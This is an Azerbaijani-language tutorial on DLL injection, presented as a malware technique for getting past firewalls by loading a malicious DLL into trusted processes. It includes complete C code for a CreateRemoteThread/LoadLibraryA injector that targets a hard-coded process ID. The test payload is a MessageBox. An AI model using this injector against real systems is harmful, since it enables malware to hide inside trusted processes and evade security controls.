Axtarış...

DLL İnyeksiya

DLL İnyeksiya

Bu məqalədə sizlərə DLL inyeksiya olaraq bilinən və zərərli proqram yazan şəxslərin istifadə etdiyi bir metoddan DLL inyeksiyadan danışacağıq. İnyeksiya zərərli Dinamik kitabxana faylını başqa bir prosesin Address Spacesin-də işə salaraq sanki əməliyyat həmin proses tərəfindən aparılırmış kimi göstərmək üçün istifadə olunur. Lakin bir çox mənbələr bu metodun əksər hallarda Firewall proqram təminatlarını bypass etmək üçün nəzərdə tutulduğunu bildirir.

Dll faylları proqramın kitabxana faylının içində olan funksiyasını dinamik olaraq çağırması üçün nəzərdə tutulub. Statik kitabxandan fərqli olaraq birləşmə əməliyyatı zamanı proqrama əlavə kodlar daxil edilmir. Sistemdə olan kitabxana faylı çağrılır və tərkibində olan funksiyaya "call" edilir.

Dinamik kitabxana fayllarına misal olaraq Windows əməliyyat sistemdə olan kernel32.dll,user32.dll,advapi32.dll vs faylları misal göstərmək olar. Məsələn gəlin qısaca olaraq kernel32.dll kitabxana faylındakı funksiyalara göz gəzdirək:

 

 

Export edilən funksiyalar başqa proseslər tərəfindən istifadə edilmək üçün nəzərdə tutulub. İmport isə faylın hansı kitabxana və funksiyalardan istifadə etdiyi haqqında məlumat verir.

Gəlin sistemdə fəaliyyət göstərən proseslərdən birinin "load" etdiyi modullara baxaq.

 

Bəs firewall bypass metodu necə həyata keçirilir?! Bildiyiniz kimi DLL fayllarıda PE formatı dəstəkləyir və tərkibinə kod yazılır.  Bu halda əgər firewall hər hansı bir proqrama internetə çıxışa blok qoyursa DLL inyeksiya metodu ilə zərərli DLL faylını istifadəçinin güvəndiyi bir prosesin tərkibinə inyeksiya edərək kodları həmin prosesdən icra etməni təmin edir. Məsələn firewall proqram təminatları əksər hallarda svchost, İnternet explorer, mail client kimi proqramlara internete çıxışa icazə verir.  Bu halda DLL-i məhz bu proseslərin yaddaşına yükləyərək istifadə etmək mümkündür.

Gəlin ilk öncə test üçün kiçik bir DLL faylı yaradaq.
 

 

Yuxarıda gördüyünüz kodlar DLL yaratmaq üçün kifayətdir. 

DllMain funksiyası adından gördüyünüz kimi əsas funksiyadır. Parametrlərə diqqət yetirsəniz DWORD Reason adında parametr qebul edir. Bu parametr DLL faylı LOAD edən prosesin load vəya unload zamanı nə edəcəyini bildirir. Məsələn DLL_PROCESS_ATTACH Dll faylının "load" olunduğu zaman ne etmək lazım olduğunu bildirir. Əlbətdə bu "break" edilərək heç bir əməliyyat etməmək də olar, yalnız bu zaman DLL faylı export etdiyi funksiyalardan istifadə edilməsı üçün yaradılmalıdır. 
Məsələn yuxarıdakı kodu bu şəkildə dəyişdiririk.
 

 

Gəlin DLL faylımızı hər hansı bir prosesə inject edək.

Gördüyünüz kimi DLL fayımızı inject etdikdən sonra Hedef proses yeni Thread yaradır və funksiya avtomatik olaraq işə düşür. Əlbətdəki burada MessageBox test üçün hazırlanan bir funksiyamızdı. Yerində başqa zərərli funksiyalarda istifadə edilə bilər. Yeni burda firewall proqramlarının Allow etdiyi proqram təminatlarının içərisinə bu tip metoddan istifadə edərək DLL inject edib internetdən istenilən məlumat götürmək vəya tam əksini həyata keçirmək mümkündür.

DLL İnjector nədir və necə yazılır?


Dll injector DLL faylları başqa bir prosesə inject edən kiçik proqram təminatıdır. Yuxarıda gördüyünüz DLL injector SecurityXploded tərəfindən hazırlanıb.
Bəs DLL injector necə yazılır?

Bunun üçün aşağıdakı addımlar növbə ilə həyata keçirilməlidir.


• OpenProcess funksiyası ilə proses növbəti əməliyyatlar üçün açılır(Handle dəyəri götürülür).

• GetProcAddress funksiyası ilə hədəfə prosesə DLL faylını Load etməsi üçün LoadLibraryA(W) funksıyasının adresı götürülür.

• VirtualAllocEx funksiyası ilə prosesin yaddaşında dll path üçün yer ayrılır.

• WriteProcessMemory ilə dll path prosesın yaddaşına yazılır.

• CreateRemoteThread funksiyası ilə hədəf prosesdə zərərli funksiya çağrılır.

İlk öncə test üçün aşağıda ki koddan(C) istifadə edərək, DLLPathı remote prosesin yaddaşına yazaq.

#include <windows.h>

int main(int argc,char *argv[]){

HANDLE hProcess = NULL;

DWORD PID = 1200;

void *LoadLibAddr = NULL;
void *allocmem = NULL;
DWORD memWritten = 0;
char DLLPath[] = "C:\\Documents and Settings\\home-lab\\Desktop\\DEV\\mal\\release\\mal.dll"; //DLL Path daxil edilmelidir.

 hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);
if (hProcess == NULL) {
printf("Proses acilmadi");
return -1;
};

LoadLibAddr = GetProcAddress(GetModuleHandle(strdup("kernel32.dll")), "LoadLibraryA");

if (LoadLibAddr == NULL){
printf("LoadLibraryA funksiyasinin adresi teyin edilmedi");
return -1;
};

allocmem = VirtualAllocEx(hProcess,0,strlen(DLLPath),MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);

WriteProcessMemory(hProcess,allocmem,DLLPath,strlen(DLLPath),&memWritten);

printf("%X",allocmem); //Məlumatın yazıldığı adres

CloseHandle(hProcess);


return 0;
};
 

 

 

Bəli gördüyünüz kimi DLL fayl pathımız prosesin yaddaşına yazıldı. Bundan sonra CreateRemoteThread ilə LoadLibraryA funksıyasını çağırmağımız lazımdır. Çağırılan funksiyaya parametr olaraq DLL Pathın olduğu adresi vermək lazımdır.

#include <windows.h>


int main(int argc,char *argv[]){

HANDLE hProcess = NULL;
DWORD PID = 1200;
void *LoadLibAddr = NULL;
void *allocmem = NULL;
HANDLE hThread = NULL;
DWORD memWritten = 0;
char DLLPath[] = "C:\\Documents and Settings\\home-lab\\Desktop\\DEV\\mal\\release\\mal.dll"; //DLL Path daxil edilmelidir.
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);
if (hProcess == NULL) {
printf("Proses acilmadi");
return -1;
};

LoadLibAddr = GetProcAddress(GetModuleHandle(strdup("kernel32.dll")), "LoadLibraryA");

if (LoadLibAddr == NULL){
printf("LoadLibraryA funksiyasinin adresi teyin edilmedi");
return -1;
};

allocmem = VirtualAllocEx(hProcess,0,strlen(DLLPath),MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hProcess,allocmem,DLLPath,strlen(DLLPath),&memWritten);
printf("0x%X\n",allocmem);

hThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)LoadLibAddr,
allocmem,
0,
NULL);

CloseHandle(hProcess);
return 0;
};

Və son nəticə:
 

 

Əlavə məlumat üçün mənbələr: 

en.wikipedia.org/wiki/DLL_injection

securityxploded.com/dll-injection-and-hooking.php

© 2011-2024 Bütün Hüquqlar Qorunur